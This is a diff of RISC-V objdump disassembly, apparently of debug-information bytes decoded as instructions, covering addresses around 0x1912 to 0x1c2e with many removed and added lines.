-    1992:	0820                	addi	s0,sp,24
-    1994:	001d                	c.nop	7
-    1996:	7f00                	flw	fs0,56(a4)
-    1998:	0019                	c.nop	6
-    199a:	1300                	addi	s0,sp,416
-    199c:	5a01                	li	s4,-32
-    199e:	0305                	addi	t1,t1,1
-    19a0:	55c4                	lw	s1,44(a1)
-    19a2:	2040                	fld	fs0,128(s0)
-    19a4:	1200                	addi	s0,sp,288
-    19a6:	1ddc                	addi	a5,sp,756
-    19a8:	2040                	fld	fs0,128(s0)
-    19aa:	1d08                	addi	a0,sp,688
-    19ac:	0000                	unimp
-    19ae:	1996                	slli	s3,s3,0x25
-    19b0:	0000                	unimp
-    19b2:	055a0113          	addi	sp,s4,85
-    19b6:	4055e003          	0x4055e003
-    19ba:	0020                	addi	s0,sp,8
-    19bc:	ec12                	fsw	ft4,24(sp)
-    19be:	401d                	c.li	zero,7
-    19c0:	0820                	addi	s0,sp,24
-    19c2:	001d                	c.nop	7
-    19c4:	b300                	fsd	fs0,32(a4)
-    19c6:	0019                	c.nop	6
-    19c8:	1300                	addi	s0,sp,416
-    19ca:	5a01                	li	s4,-32
-    19cc:	0305                	addi	t1,t1,1
-    19ce:	55f8                	lw	a4,108(a1)
-    19d0:	2040                	fld	fs0,128(s0)
-    19d2:	025b0113          	addi	sp,s6,37
-    19d6:	4008                	lw	a0,0(s0)
-    19d8:	1b00                	addi	s0,sp,432
-    19da:	1dfa                	slli	s11,s11,0x3e
-    19dc:	2040                	fld	fs0,128(s0)
-    19de:	1d08                	addi	a0,sp,688
-    19e0:	0000                	unimp
-    19e2:	055a0113          	addi	sp,s4,85
-    19e6:	40561403          	lh	s0,1029(a2)
-    19ea:	1320                	addi	s0,sp,424
-    19ec:	5b01                	li	s6,-32
-    19ee:	4001                	c.li	zero,0
-    19f0:	0000                	unimp
-    19f2:	ec08                	fsw	fa0,24(s0)
-    19f4:	0000                	unimp
-    19f6:	dc00                	sw	s0,56(s0)
-    19f8:	0019                	c.nop	6
-    19fa:	0900                	addi	s0,sp,144
-    19fc:	00a0                	addi	s0,sp,72
+    1912:	0d2a                	slli	s10,s10,0xa
+    1914:	0000                	unimp
+    1916:	0c92                	slli	s9,s9,0x4
+    1918:	0000                	unimp
+    191a:	0116                	slli	sp,sp,0x5
+    191c:	025a                	slli	tp,tp,0x16
+    191e:	0089                	addi	ra,ra,2
+    1920:	0116                	slli	sp,sp,0x5
+    1922:	0083025b          	0x83025b
+    1926:	1700                	addi	s0,sp,928
+    1928:	0000                	unimp
+    192a:	0000                	unimp
+    192c:	0d4e                	slli	s10,s10,0x13
+    192e:	0000                	unimp
+    1930:	0116                	slli	sp,sp,0x5
+    1932:	015a                	slli	sp,sp,0x16
+    1934:	1631                	addi	a2,a2,-20
+    1936:	5b01                	li	s6,-32
+    1938:	8a02                	jr	s4
+    193a:	1600                	addi	s0,sp,800
+    193c:	5c01                	li	s8,-32
+    193e:	3601                	jal	143e <__stack_size+0xc3e>
+    1940:	0000                	unimp
+    1942:	0000                	unimp
+    1944:	9e1a                	add	t3,t3,t1
+    1946:	0000                	unimp
+    1948:	c500                	sw	s0,8(a0)
+    194a:	000c                	0xc
+    194c:	1b00                	addi	s0,sp,432
+    194e:	0091                	addi	ra,ra,4
+    1950:	0000                	unimp
+    1952:	00911b03          	lh	s6,9(sp)
+    1956:	0000                	unimp
+    1958:	981a003f d5000000 	0xd5000000981a003f
+    1960:	000c                	0xc
+    1962:	1b00                	addi	s0,sp,432
+    1964:	0091                	addi	ra,ra,4
+    1966:	0000                	unimp
+    1968:	0c200003          	lb	zero,194(zero) # c2 <__stack_size-0x73e>
+    196c:	0071                	c.nop	28
+    196e:	0c00                	addi	s0,sp,528
+    1970:	0071                	c.nop	28
+    1972:	0400                	addi	s0,sp,512
+    1974:	0929                	addi	s2,s2,10
+    1976:	5821                	li	a6,-24
+    1978:	580000a3          	sb	zero,1409(zero) # 581 <__stack_size-0x27f>
+    197c:	050000a3          	sb	a6,65(zero) # 41 <__stack_size-0x7bf>
+    1980:	010a                	slli	sp,sp,0x2
+    1982:	2005                	jal	19a2 <__stack_size+0x11a2>
+    1984:	0000219b          	0x219b
+    1988:	0000219b          	0x219b
+    198c:	5e06                	lw	t3,96(sp)
+    198e:	2006                	fld	ft0,64(sp)
+    1990:	26aa                	fld	fa3,136(sp)
+    1992:	0000                	unimp
+    1994:	26aa                	fld	fa3,136(sp)
+    1996:	0000                	unimp
+    1998:	6c06                	flw	fs8,64(sp)
+    199a:	a2552007          	flw	ft0,-1499(a0) # bc3 <__stack_size+0x3c3>
+    199e:	0000                	unimp
+    19a0:	a255                	j	1b44 <__stack_size+0x1344>
+    19a2:	0000                	unimp
+    19a4:	2104                	fld	fs1,0(a0)
+    19a6:	2009                	jal	19a8 <__stack_size+0x11a8>
+    19a8:	a224                	fsd	fs1,64(a2)
+    19aa:	0000                	unimp
+    19ac:	a224                	fsd	fs1,64(a2)
+    19ae:	0000                	unimp
+    19b0:	20071a03          	lh	s4,512(a4) # 1a200 <__stack_size+0x19a00>
+    19b4:	1339                	addi	t1,t1,-18
+    19b6:	0000                	unimp
+    19b8:	1339                	addi	t1,t1,-18
+    19ba:	0000                	unimp
+    19bc:	1f04                	addi	s1,sp,944
+    19be:	2009                	jal	19c0 <__stack_size+0x11c0>
+    19c0:	a35a                	fsd	fs6,384(sp)
+    19c2:	0000                	unimp
+    19c4:	a35a                	fsd	fs6,384(sp)
+    19c6:	0000                	unimp
+    19c8:	c805                	beqz	s0,19f8 <__stack_size+0x11f8>
+    19ca:	2005                	jal	19ea <__stack_size+0x11ea>
+    19cc:	2a32                	fld	fs4,264(sp)
+    19ce:	0000                	unimp
+    19d0:	2a32                	fld	fs4,264(sp)
+    19d2:	0000                	unimp
+    19d4:	2b04                	fld	fs1,16(a4)
+    19d6:	2006                	fld	ft0,64(sp)
+    19d8:	a2e0                	fsd	fs0,192(a3)
+    19da:	0000                	unimp
+    19dc:	a2e0                	fsd	fs0,192(a3)
+    19de:	0000                	unimp
+    19e0:	7704                	flw	fs1,40(a4)
+    19e2:	2009                	jal	19e4 <__stack_size+0x11e4>
+    19e4:	0000a3f3          	csrrs	t2,ustatus,ra
+    19e8:	0000a3f3          	csrrs	t2,ustatus,ra
+    19ec:	2019f507          	0x2019f507
+    19f0:	a366                	fsd	fs9,384(sp)
+    19f2:	0000                	unimp
+    19f4:	a366                	fsd	fs9,384(sp)
+    19f6:	0000                	unimp
+    19f8:	2e04                	fld	fs1,24(a2)
+    19fa:	2008                	fld	fa0,0(s0)
+    19fc:	a222                	fsd	fs0,256(sp)
     19fe:	0000                	unimp
-    1a00:	001a                	c.slli	zero,0x6
-    1a02:	00851323          	sh	s0,6(a0) # 1b006 <__stack_size+0x1a806>
-    1a06:	0100                	addi	s0,sp,128
-    1a08:	2416                	fld	fs0,320(sp)
-    1a0a:	19be                	slli	s3,s3,0x2f
-    1a0c:	2040                	fld	fs0,128(s0)
-    1a0e:	02cc                	addi	a1,sp,324
-    1a10:	0000                	unimp
-    1a12:	9c01                	0x9c01
-    1a14:	1cfc                	addi	a5,sp,636
-    1a16:	0000                	unimp
-    1a18:	9c24                	0x9c24
-    1a1a:	0100004f          	fnmadd.s	ft0,ft0,fa6,ft0,rne
-    1a1e:	1618                	addi	a4,sp,800
-    1a20:	0079                	c.nop	30
+    1a00:	a222                	fsd	fs0,256(sp)
+    1a02:	0000                	unimp
+    1a04:	20151b03          	lh	s6,513(a0)
+    1a08:	a330                	fsd	fa2,64(a4)
+    1a0a:	0000                	unimp
+    1a0c:	a330                	fsd	fa2,64(a4)
+    1a0e:	0000                	unimp
+    1a10:	2404                	fld	fs1,8(s0)
+    1a12:	0006                	c.slli	zero,0x1
+    1a14:	000005af          	0x5af
+    1a18:	0004                	0x4
+    1a1a:	0578                	addi	a4,sp,652
+    1a1c:	0000                	unimp
+    1a1e:	0104                	addi	s1,sp,128
+    1a20:	4ead                	li	t4,11
     1a22:	0000                	unimp
-    1a24:	0b9c                	addi	a5,sp,464
-    1a26:	0000                	unimp
-    1a28:	9f24                	0x9f24
-    1a2a:	01000047          	fmsub.s	ft0,ft0,fa6,ft0,rne
-    1a2e:	1619                	addi	a2,a2,-26
-    1a30:	0079                	c.nop	30
+    1a24:	470c                	lw	a1,8(a4)
+    1a26:	00a4                	addi	s1,sp,72
+    1a28:	1a00                	addi	s0,sp,304
+    1a2a:	0000                	unimp
+    1a2c:	f800                	fsw	fs0,48(s0)
+    1a2e:	0001                	nop
+    1a30:	0000                	unimp
     1a32:	0000                	unimp
-    1a34:	0bba                	slli	s7,s7,0xe
-    1a36:	0000                	unimp
-    1a38:	5324                	lw	s1,96(a4)
-    1a3a:	009e                	slli	ra,ra,0x7
-    1a3c:	0100                	addi	s0,sp,128
-    1a3e:	161a                	slli	a2,a2,0x26
-    1a40:	0079                	c.nop	30
-    1a42:	0000                	unimp
-    1a44:	00000bfb          	0xbfb
-    1a48:	6326                	flw	ft6,72(sp)
-    1a4a:	0100                	addi	s0,sp,128
-    1a4c:	076a                	slli	a4,a4,0x1a
-    1a4e:	00ec                	addi	a1,sp,76
-    1a50:	0000                	unimp
-    1a52:	7fa89103          	lh	sp,2042(a7)
-    1a56:	001a                	c.slli	zero,0x6
-    1a58:	0000                	unimp
-    1a5a:	4700                	lw	s0,8(a4)
-    1a5c:	001a                	c.slli	zero,0x6
-    1a5e:	2600                	fld	fs0,8(a2)
-    1a60:	3061                	jal	12e8 <__stack_size+0xae8>
-    1a62:	0100                	addi	s0,sp,128
-    1a64:	1f18                	addi	a4,sp,944
-    1a66:	0072                	c.slli	zero,0x1c
-    1a68:	0000                	unimp
-    1a6a:	5a01                	li	s4,-32
-    1a6c:	1000                	addi	s0,sp,32
-    1a6e:	19f2                	slli	s3,s3,0x3c
-    1a70:	2040                	fld	fs0,128(s0)
-    1a72:	000c                	0xc
-    1a74:	0000                	unimp
-    1a76:	1a62                	slli	s4,s4,0x38
-    1a78:	0000                	unimp
-    1a7a:	6126                	flw	ft2,72(sp)
-    1a7c:	0030                	addi	a2,sp,8
-    1a7e:	1901                	addi	s2,s2,-32
-    1a80:	721f 0000 0100      	0x1000000721f
-    1a86:	005a                	c.slli	zero,0x16
-    1a88:	181a                	slli	a6,a6,0x26
-    1a8a:	0000                	unimp
-    1a8c:	7900                	flw	fs0,48(a0)
-    1a8e:	001a                	c.slli	zero,0x6
-    1a90:	2600                	fld	fs0,8(a2)
-    1a92:	3061                	jal	131a <__stack_size+0xb1a>
-    1a94:	0100                	addi	s0,sp,128
-    1a96:	1f1a                	slli	t5,t5,0x26
-    1a98:	0072                	c.slli	zero,0x1c
-    1a9a:	0000                	unimp
-    1a9c:	5a01                	li	s4,-32
-    1a9e:	1a00                	addi	s0,sp,304
-    1aa0:	0030                	addi	a2,sp,8
-    1aa2:	0000                	unimp
-    1aa4:	1cc9                	addi	s9,s9,-14
-    1aa6:	0000                	unimp
-    1aa8:	260e                	fld	fa2,192(sp)
-    1aaa:	003c                	addi	a5,sp,8
-    1aac:	0100                	addi	s0,sp,128
-    1aae:	1659                	addi	a2,a2,-10
-    1ab0:	00d0                	addi	a2,sp,68
-    1ab2:	0000                	unimp
-    1ab4:	6201                	0x6201
-    1ab6:	c80e                	sw	gp,16(sp)
-    1ab8:	0022                	c.slli	zero,0x8
-    1aba:	0100                	addi	s0,sp,128
-    1abc:	0b5a                	slli	s6,s6,0x16
-    1abe:	00fe                	slli	ra,ra,0x1f
-    1ac0:	0000                	unimp
-    1ac2:	7fa89103          	lh	sp,2042(a7)
-    1ac6:	1f24                	addi	s1,sp,952
-    1ac8:	01000057          	0x1000057
-    1acc:	185a                	slli	a6,a6,0x36
-    1ace:	0030                	addi	a2,sp,8
+    1a34:	f100                	fsw	fs0,32(a0)
+    1a36:	001f b500 002e      	0x2eb500001f
+    1a3c:	0200                	addi	s0,sp,256
+    1a3e:	7e3d                	lui	t3,0xfffef
+    1a40:	0000                	unimp
+    1a42:	d102                	sw	zero,160(sp)
+    1a44:	00003517          	auipc	a0,0x3
+    1a48:	0300                	addi	s0,sp,384
+    1a4a:	0704                	addi	s1,sp,896
+    1a4c:	71e5                	lui	gp,0xffff9
+    1a4e:	0000                	unimp
+    1a50:	0404                	addi	s1,sp,512
+    1a52:	6905                	lui	s2,0x1
+    1a54:	746e                	flw	fs0,248(sp)
+    1a56:	0300                	addi	s0,sp,384
+    1a58:	0508                	addi	a0,sp,640
+    1a5a:	90b6                	add	ra,ra,a3
+    1a5c:	0000                	unimp
+    1a5e:	33041003          	lh	zero,816(s0) # 6330 <__stack_size+0x5b30>
+    1a62:	0092                	slli	ra,ra,0x4
+    1a64:	0300                	addi	s0,sp,384
+    1a66:	0601                	addi	a2,a2,0
+    1a68:	7f6d                	lui	t5,0xffffb
+    1a6a:	0000                	unimp
+    1a6c:	7402                	flw	fs0,32(sp)
+    1a6e:	0004                	0x4
+    1a70:	0300                	addi	s0,sp,384
+    1a72:	0064182b          	0x64182b
+    1a76:	0000                	unimp
+    1a78:	a0080103          	lb	sp,-1536(a6)
+    1a7c:	03000013          	li	zero,48
+    1a80:	0502                	c.slli64	a0
+    1a82:	3822                	fld	fa6,40(sp)
+    1a84:	0000                	unimp
+    1a86:	f7070203          	lb	tp,-144(a4)
+    1a8a:	0300009b          	0x300009b
+    1a8e:	0504                	addi	s1,sp,640
+    1a90:	5184                	lw	s1,32(a1)
+    1a92:	0000                	unimp
+    1a94:	eb02                	fsw	ft0,148(sp)
+    1a96:	03000027          	0x3000027
+    1a9a:	008c194f          	fnmadd.s	fs2,fs8,fs0,ft0,rtz
+    1a9e:	0000                	unimp
+    1aa0:	cd070403          	lb	s0,-816(a4)
+    1aa4:	0065                	c.nop	25
+    1aa6:	0300                	addi	s0,sp,384
+    1aa8:	0708                	addi	a0,sp,896
+    1aaa:	00000617          	auipc	a2,0x0
+    1aae:	f502                	fsw	ft0,168(sp)
+    1ab0:	03000097          	auipc	ra,0x3000
+    1ab4:	1ec8                	addi	a0,sp,884
+    1ab6:	00000043          	fmadd.s	ft0,ft0,ft0,ft0,rne
+    1aba:	8702                	jr	a4
+    1abc:	00a4                	addi	s1,sp,72
+    1abe:	0400                	addi	s0,sp,512
+    1ac0:	0e1e                	slli	t3,t3,0x7
+    1ac2:	0079                	c.nop	30
+    1ac4:	0000                	unimp
+    1ac6:	2202                	fld	ft4,0(sp)
+    1ac8:	00a4                	addi	s1,sp,72
+    1aca:	0400                	addi	s0,sp,512
+    1acc:	0e22                	slli	t3,t3,0x8
+    1ace:	0079                	c.nop	30
     1ad0:	0000                	unimp
-    1ad2:	00000d67          	jalr	s10,zero # 0 <__stack_size-0x800>
-    1ad6:	3410                	fld	fa2,40(s0)
-    1ad8:	401c                	lw	a5,0(s0)
-    1ada:	0820                	addi	s0,sp,24
+    1ad2:	cb02                	sw	zero,148(sp)
+    1ad4:	00a4                	addi	s1,sp,72
+    1ad6:	0400                	addi	s0,sp,512
+    1ad8:	0e2e                	slli	t3,t3,0xb
+    1ada:	0079                	c.nop	30
     1adc:	0000                	unimp
-    1ade:	c900                	sw	s0,16(a0)
-    1ae0:	001a                	c.slli	zero,0x6
-    1ae2:	2800                	fld	fs0,16(s0)
-    1ae4:	6472                	flw	fs0,28(sp)
-    1ae6:	0100                	addi	s0,sp,128
-    1ae8:	0655                	addi	a2,a2,21
-    1aea:	0072                	c.slli	zero,0x1c
-    1aec:	0000                	unimp
-    1aee:	1400                	addi	s0,sp,544
-    1af0:	1a5c                	addi	a5,sp,308
-    1af2:	2040                	fld	fs0,128(s0)
-    1af4:	1d08                	addi	a0,sp,688
-    1af6:	0000                	unimp
-    1af8:	b812                	fsd	ft4,48(sp)
-    1afa:	401a                	0x401a
-    1afc:	0820                	addi	s0,sp,24
-    1afe:	001d                	c.nop	7
-    1b00:	f400                	fsw	fs0,40(s0)
-    1b02:	001a                	c.slli	zero,0x6
-    1b04:	1300                	addi	s0,sp,416
-    1b06:	5a01                	li	s4,-32
-    1b08:	0305                	addi	t1,t1,1
-    1b0a:	52dc                	lw	a5,36(a3)
-    1b0c:	2040                	fld	fs0,128(s0)
-    1b0e:	015b0113          	addi	sp,s6,21
-    1b12:	1334                	addi	a3,sp,424
-    1b14:	5c01                	li	s8,-32
-    1b16:	7802                	flw	fa6,32(sp)
+    1ade:	0302                	c.slli64	t1
+    1ae0:	00a4                	addi	s1,sp,72
+    1ae2:	0400                	addi	s0,sp,512
+    1ae4:	0f38                	addi	a4,sp,920
+    1ae6:	0000006b          	0x6b
+    1aea:	ef02                	fsw	ft0,156(sp)
+    1aec:	00a4                	addi	s1,sp,72
+    1aee:	0400                	addi	s0,sp,512
+    1af0:	183c                	addi	a5,sp,56
+    1af2:	0072                	c.slli	zero,0x1c
+    1af4:	0000                	unimp
+    1af6:	db02                	sw	zero,180(sp)
+    1af8:	040000a3          	sb	zero,65(zero) # 41 <__stack_size-0x7bf>
+    1afc:	0072183f 98020000 	0x980200000072183f
+    1b04:	00a4                	addi	s1,sp,72
+    1b06:	0400                	addi	s0,sp,512
+    1b08:	0072184b          	fnmsub.s	fa6,ft4,ft7,ft0,rtz
+    1b0c:	0000                	unimp
+    1b0e:	6302                	flw	ft6,0(sp)
+    1b10:	00a4                	addi	s1,sp,72
+    1b12:	0400                	addi	s0,sp,512
+    1b14:	145a                	slli	s0,s0,0x36
+    1b16:	0080                	addi	s0,sp,64
     1b18:	0000                	unimp
-    1b1a:	0412                	slli	s0,s0,0x4
-    1b1c:	0820401b          	0x820401b
-    1b20:	001d                	c.nop	7
-    1b22:	1600                	addi	s0,sp,800
-    1b24:	1300001b          	0x1300001b
-    1b28:	5a01                	li	s4,-32
-    1b2a:	0305                	addi	t1,t1,1
-    1b2c:	5310                	lw	a2,32(a4)
-    1b2e:	2040                	fld	fs0,128(s0)
-    1b30:	015b0113          	addi	sp,s6,21
-    1b34:	1335                	addi	t1,t1,-19
-    1b36:	5c01                	li	s8,-32
-    1b38:	7802                	flw	fa6,32(sp)
-    1b3a:	0000                	unimp
-    1b3c:	1814                	addi	a3,sp,48
-    1b3e:	0820401b          	0x820401b
-    1b42:	001d                	c.nop	7
-    1b44:	1200                	addi	s0,sp,288
-    1b46:	1b76                	slli	s6,s6,0x3d
-    1b48:	2040                	fld	fs0,128(s0)
-    1b4a:	1d14                	addi	a3,sp,688
-    1b4c:	0000                	unimp
-    1b4e:	1b40                	addi	s0,sp,436
+    1b1a:	ca02                	sw	zero,20(sp)
+    1b1c:	00a4                	addi	s1,sp,72
+    1b1e:	0400                	addi	s0,sp,512
+    1b20:	1066                	c.slli	zero,0x39
+    1b22:	00be                	slli	ra,ra,0xf
+    1b24:	0000                	unimp
+    1b26:	8b02                	jr	s6
+    1b28:	04000093          	li	ra,64
+    1b2c:	003c1793          	slli	a5,s8,0x3
+    1b30:	0000                	unimp
+    1b32:	0405                	addi	s0,s0,1
+    1b34:	0502                	c.slli64	a0
+    1b36:	00a5                	addi	ra,ra,9
+    1b38:	0400                	addi	s0,sp,512
+    1b3a:	18d1                	addi	a7,a7,-12
+    1b3c:	0072                	c.slli	zero,0x1c
+    1b3e:	0000                	unimp
+    1b40:	0406                	slli	s0,s0,0x1
+    1b42:	0132                	slli	sp,sp,0xc
+    1b44:	0000                	unimp
+    1b46:	74080103          	lb	sp,1856(a6)
+    1b4a:	007f                	0x7f
+    1b4c:	0700                	addi	s0,sp,896
+    1b4e:	0132                	slli	sp,sp,0xc
     1b50:	0000                	unimp
-    1b52:	015a0113          	addi	sp,s4,21
-    1b56:	1331                	addi	t1,t1,-20
-    1b58:	5b01                	li	s6,-32
-    1b5a:	0305                	addi	t1,t1,1
-    1b5c:	5448                	lw	a0,44(s0)
-    1b5e:	2040                	fld	fs0,128(s0)
-    1b60:	015c0113          	addi	sp,s8,21
-    1b64:	0036                	c.slli	zero,0xd
-    1b66:	8812                	mv	a6,tp
-    1b68:	0820401b          	0x820401b
-    1b6c:	001d                	c.nop	7
-    1b6e:	6b00                	flw	fs0,16(a4)
-    1b70:	1300001b          	0x1300001b
-    1b74:	5a01                	li	s4,-32
-    1b76:	0305                	addi	t1,t1,1
-    1b78:	5450                	lw	a2,44(s0)
-    1b7a:	2040                	fld	fs0,128(s0)
-    1b7c:	025b0113          	addi	sp,s6,37
-    1b80:	0079                	c.nop	30
-    1b82:	025c0113          	addi	sp,s8,37
-    1b86:	0078                	addi	a4,sp,12
-    1b88:	045d0113          	addi	sp,s10,69
-    1b8c:	9c91                	0x9c91
-    1b8e:	067f                	0x67f
-    1b90:	1200                	addi	s0,sp,288
-    1b92:	1b9a                	slli	s7,s7,0x26
-    1b94:	2040                	fld	fs0,128(s0)
-    1b96:	1d08                	addi	a0,sp,688
+    1b52:	0406                	slli	s0,s0,0x1
+    1b54:	0139                	addi	sp,sp,14
+    1b56:	0000                	unimp
+    1b58:	0406                	slli	s0,s0,0x1
+    1b5a:	014a                	slli	sp,sp,0x12
+    1b5c:	0000                	unimp
+    1b5e:	0208                	addi	a0,sp,256
+    1b60:	0476                	slli	s0,s0,0x1d
+    1b62:	0000                	unimp
+    1b64:	1805                	addi	a6,a6,-31
+    1b66:	00005813          	srli	a6,zero,0x0
+    1b6a:	0700                	addi	s0,sp,896
+    1b6c:	0000014b          	fnmsub.s	ft2,ft0,ft0,ft0,rne
+    1b70:	ed02                	fsw	ft0,152(sp)
+    1b72:	05000027          	0x5000027
+    1b76:	1430                	addi	a2,sp,552
+    1b78:	0080                	addi	s0,sp,64
+    1b7a:	0000                	unimp
+    1b7c:	eb02                	fsw	ft0,148(sp)
+    1b7e:	060000a3          	sb	zero,97(zero) # 61 <__stack_size-0x79f>
+    1b82:	122a                	slli	tp,tp,0x2a
+    1b84:	009a                	slli	ra,ra,0x6
+    1b86:	0000                	unimp
+    1b88:	c109                	beqz	a0,1b8a <__stack_size+0x138a>
+    1b8a:	00a4                	addi	s1,sp,72
+    1b8c:	1000                	addi	s0,sp,32
+    1b8e:	9c082f07          	flw	ft10,-1600(a6)
+    1b92:	0001                	nop
+    1b94:	0a00                	addi	s0,sp,272
+    1b96:	781e                	flw	fa6,228(sp)
     1b98:	0000                	unimp
-    1b9a:	1b82                	slli	s7,s7,0x20
-    1b9c:	0000                	unimp
-    1b9e:	055a0113          	addi	sp,s4,85
-    1ba2:	40546c03          	0x40546c03
-    1ba6:	0020                	addi	s0,sp,8
-    1ba8:	a812                	fsd	ft4,16(sp)
-    1baa:	0820401b          	0x820401b
-    1bae:	001d                	c.nop	7
-    1bb0:	9900                	0x9900
-    1bb2:	1300001b          	0x1300001b
-    1bb6:	5a01                	li	s4,-32
-    1bb8:	0305                	addi	t1,t1,1
-    1bba:	5480                	lw	s0,40(s1)
-    1bbc:	2040                	fld	fs0,128(s0)
-    1bbe:	1200                	addi	s0,sp,288
-    1bc0:	1bb6                	slli	s7,s7,0x2d
-    1bc2:	2040                	fld	fs0,128(s0)
-    1bc4:	1d08                	addi	a0,sp,688
+    1b9a:	68093007          	fld	ft0,1664(s2) # 1680 <__stack_size+0xe80>
+    1b9e:	0001                	nop
+    1ba0:	0000                	unimp
+    1ba2:	d90a                	sw	sp,176(sp)
+    1ba4:	00a4                	addi	s1,sp,72
+    1ba6:	0700                	addi	s0,sp,896
+    1ba8:	0731                	addi	a4,a4,12
+    1baa:	0079                	c.nop	30
+    1bac:	0000                	unimp
+    1bae:	0008                	0x8
+    1bb0:	8902                	jr	s2
+    1bb2:	00a4                	addi	s1,sp,72
+    1bb4:	0800                	addi	s0,sp,16
+    1bb6:	1461                	addi	s0,s0,-8
+    1bb8:	00a6                	slli	ra,ra,0x9
+    1bba:	0000                	unimp
+    1bbc:	2402                	fld	fs0,0(sp)
+    1bbe:	00a4                	addi	s1,sp,72
+    1bc0:	0800                	addi	s0,sp,16
+    1bc2:	1566                	slli	a0,a0,0x39
+    1bc4:	00b2                	slli	ra,ra,0xc
     1bc6:	0000                	unimp
-    1bc8:	1bb0                	addi	a2,sp,504
-    1bca:	0000                	unimp
-    1bcc:	055a0113          	addi	sp,s4,85
-    1bd0:	40549403          	lh	s0,1029(s1)
-    1bd4:	0020                	addi	s0,sp,8
-    1bd6:	c612                	sw	tp,12(sp)
-    1bd8:	1420401b          	0x1420401b
-    1bdc:	001d                	c.nop	7
-    1bde:	d100                	sw	s0,32(a0)
-    1be0:	1300001b          	0x1300001b
-    1be4:	5a01                	li	s4,-32
-    1be6:	3101                	jal	17e6 <__stack_size+0xfe6>
-    1be8:	055b0113          	addi	sp,s6,85
-    1bec:	4054a803          	lw	a6,1029(s1)
-    1bf0:	1320                	addi	s0,sp,424
-    1bf2:	5c01                	li	s8,-32
-    1bf4:	3601                	jal	16f4 <__stack_size+0xef4>
-    1bf6:	1200                	addi	s0,sp,288
-    1bf8:	1be2                	slli	s7,s7,0x38
-    1bfa:	2040                	fld	fs0,128(s0)
-    1bfc:	1d14                	addi	a3,sp,688
-    1bfe:	0000                	unimp
-    1c00:	1bf2                	slli	s7,s7,0x3c
+    1bc8:	9a02                	jalr	s4
+    1bca:	00a4                	addi	s1,sp,72
+    1bcc:	0800                	addi	s0,sp,16
+    1bce:	00ee128b          	0xee128b
+    1bd2:	0000                	unimp
+    1bd4:	cc02                	sw	zero,24(sp)
+    1bd6:	00a4                	addi	s1,sp,72
+    1bd8:	0800                	addi	s0,sp,16
+    1bda:	129d                	addi	t0,t0,-25
+    1bdc:	0106                	slli	sp,sp,0x1
+    1bde:	0000                	unimp
+    1be0:	0502                	c.slli64	a0
+    1be2:	00a4                	addi	s1,sp,72
+    1be4:	0800                	addi	s0,sp,16
+    1be6:	12a1                	addi	t0,t0,-24
+    1be8:	00ca                	slli	ra,ra,0x12
+    1bea:	0000                	unimp
+    1bec:	f102                	fsw	ft0,160(sp)
+    1bee:	00a4                	addi	s1,sp,72
+    1bf0:	0800                	addi	s0,sp,16
+    1bf2:	12a5                	addi	t0,t0,-23
+    1bf4:	00d6                	slli	ra,ra,0x15
+    1bf6:	0000                	unimp
+    1bf8:	dd02                	sw	zero,184(sp)
+    1bfa:	080000a3          	sb	zero,129(zero) # 81 <__stack_size-0x77f>
+    1bfe:	12a9                	addi	t0,t0,-22
+    1c00:	00e2                	slli	ra,ra,0x18
     1c02:	0000                	unimp
-    1c04:	015a0113          	addi	sp,s4,21
-    1c08:	1331                	addi	t1,t1,-20
-    1c0a:	5b01                	li	s6,-32
-    1c0c:	0305                	addi	t1,t1,1
-    1c0e:	5448                	lw	a0,44(s0)
-    1c10:	2040                	fld	fs0,128(s0)
-    1c12:	015c0113          	addi	sp,s8,21
-    1c16:	0036                	c.slli	zero,0xd
-    1c18:	f412                	fsw	ft4,40(sp)
-    1c1a:	0820401b          	0x820401b
-    1c1e:	001d                	c.nop	7
-    1c20:	1d00                	addi	s0,sp,688
-    1c22:	001c                	0x1c
-    1c24:	1300                	addi	s0,sp,416
-    1c26:	5a01                	li	s4,-32
-    1c28:	0305                	addi	t1,t1,1
-    1c2a:	54b0                	lw	a2,104(s1)
-    1c2c:	2040                	fld	fs0,128(s0)
-    1c2e:	025b0113          	addi	sp,s6,37
-    1c32:	0079                	c.nop	30
-    1c34:	025c0113          	addi	sp,s8,37
-    1c38:	0078                	addi	a4,sp,12
-    1c3a:	045d0113          	addi	sp,s10,69
-    1c3e:	9c91                	0x9c91
-    1c40:	067f                	0x67f
-    1c42:	1200                	addi	s0,sp,288
-    1c44:	1c04                	addi	s1,sp,560
-    1c46:	2040                	fld	fs0,128(s0)
-    1c48:	1d14                	addi	a3,sp,688
-    1c4a:	0000                	unimp
-    1c4c:	1c3e                	slli	s8,s8,0x2f
-    1c4e:	0000                	unimp
-    1c50:	015a0113          	addi	sp,s4,21
-    1c54:	1331                	addi	t1,t1,-20
-    1c56:	5b01                	li	s6,-32
-    1c58:	0305                	addi	t1,t1,1
-    1c5a:	54e4                	lw	s1,108(s1)
-    1c5c:	2040                	fld	fs0,128(s0)
-    1c5e:	015c0113          	addi	sp,s8,21
-    1c62:	0036                	c.slli	zero,0xd
-    1c64:	0c12                	slli	s8,s8,0x4
-    1c66:	401c                	lw	a5,0(s0)
-    1c68:	2020                	fld	fs0,64(s0)
-    1c6a:	001d                	c.nop	7
-    1c6c:	5500                	lw	s0,40(a0)
-    1c6e:	001c                	0x1c
-    1c70:	1300                	addi	s0,sp,416
-    1c72:	5a01                	li	s4,-32
-    1c74:	0305                	addi	t1,t1,1
-    1c76:	d9c8                	sw	a0,52(a1)
-    1c78:	8000                	0x8000
-    1c7a:	1200                	addi	s0,sp,288
-    1c7c:	1c18                	addi	a4,sp,560
-    1c7e:	2040                	fld	fs0,128(s0)
-    1c80:	1d14                	addi	a3,sp,688
-    1c82:	0000                	unimp
-    1c84:	1c71                	addi	s8,s8,-4
+    1c04:	8c02                	jr	s8
+    1c06:	08000093          	li	ra,128
+    1c0a:	12b8                	addi	a4,sp,360
+    1c0c:	0112                	slli	sp,sp,0x4
+    1c0e:	0000                	unimp
+    1c10:	6502                	flw	fa0,0(sp)
+    1c12:	00a4                	addi	s1,sp,72
+    1c14:	0800                	addi	s0,sp,16
+    1c16:	12bd                	addi	t0,t0,-17
+    1c18:	00fa                	slli	ra,ra,0x1e
+    1c1a:	0000                	unimp
+    1c1c:	0702                	c.slli64	a4
+    1c1e:	00a5                	addi	ra,ra,9
+    1c20:	0800                	addi	s0,sp,16
+    1c22:	13c2                	slli	t2,t2,0x30
+    1c24:	0120                	addi	s0,sp,136
+    1c26:	0000                	unimp
+    1c28:	d409                	beqz	s0,1b32 <__stack_size+0x1332>
+    1c2a:	00a4                	addi	s1,sp,72
+    1c2c:	5800                	lw	s0,48(s0)
+    1c2e:	1b09                	addi	s6,s6,-30
